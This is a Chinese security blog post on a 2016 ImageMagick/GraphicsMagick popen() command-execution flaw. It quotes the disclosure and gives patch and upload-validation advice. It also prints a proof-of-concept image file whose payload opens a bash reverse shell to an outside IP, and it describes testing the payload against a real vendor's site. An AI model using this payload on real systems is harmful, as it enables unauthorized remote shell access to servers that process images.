IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    ImageMagick popen()命令执行漏洞及修复

    小残发表于 2016-06-16 20:51:08
    love 0

    前几天wooyun以及朋友圈被ImageMagick的远程命令执行漏洞(CVE-2016–3714)给刷屏了,今天又爆出了ImageMagick的另外一处命令执行漏洞。

    老外对漏洞的说明原文如下:

    All existing releases of GraphicsMagick and ImageMagick support a file
    open syntax where if the first character of the file specification is
    a ‘|’, then the remainder of the filename is passed to the shell for
    execution using the POSIX popen(3C) function. File opening is handled
    by an OpenBlob() function in the source file blob.c. Unlike the
    vulnerability described by CVE-2016-3714, this functionality is
    supported by the core file opening function rather than a delegates
    subsystem usually used to execute external programs.
    GraphicsMagick、ImageMagick工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其余部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。

    利用测试代码如下:

    push graphic-context
    viewbox 0 0 640 480
    image copy 200,200 100,100 "|bash -i >& /dev/tcp/215.1.2.3/1234 0>&1"
    pop graphic-context

    将以上内容保存成.jpg格式,用convert命令本地测试,可以反弹shell成功。如图:

    22-1

    11

    随手找了个wooyun上之前曝过漏洞的厂商,测试复现,如图:

    1

    修复建议:

    ImageMagick,下载高于7.0.1-6的版本,建议使用7.0.1-8版本来修复该漏洞
    http://www.imagemagick.org/download/beta/
    GraphicsMagick,下载GraphicsMagick-1.3.24-1版本

    其它建议:
    1,建议对上传的图片进行后缀、文件头、大小等方面的验证判断;
    2,图片文件建议保存在图片服务器。

    原文链接:
    http://permalink.gmane.org/gmane.comp.security.oss.general/19669


    作者: 小残 绳命不息 |折腾不止 |我一天不折腾心里难受
    转载请以链接形式注明本文地址:http://www.exehack.net/3414.html
    版权所有© 小残's Blog – 关注网络安全 | 本网站内容采用 BY-NC-SA 进行授权。


沪ICP备19023445号-2号
友情链接